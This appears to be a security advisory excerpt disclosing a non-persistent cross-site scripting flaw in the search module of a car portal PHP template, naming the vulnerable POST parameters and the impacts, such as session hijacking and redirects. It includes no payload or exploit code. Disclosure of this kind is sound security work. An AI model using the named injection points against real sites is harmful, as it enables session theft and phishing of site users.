Technical Details & Description:
================================
A non-persistent post inject web vulnerability has been discovered in the official Car Portal Template PHP Script.
The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user
session data or to manipulate application contents for clients.

The cross site scripting web vulnerability is located in the `username`, `user_first_name`, `user_last_name`, `variant`,
`power`, and `milage` parameters of the `index search` module. Remote attackers without privileged access are able to
inject own malicious script code in the search input field of the index module post method request. The execution takes
place in the results page of the search after submit via post.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent manipulation of affected application modules.
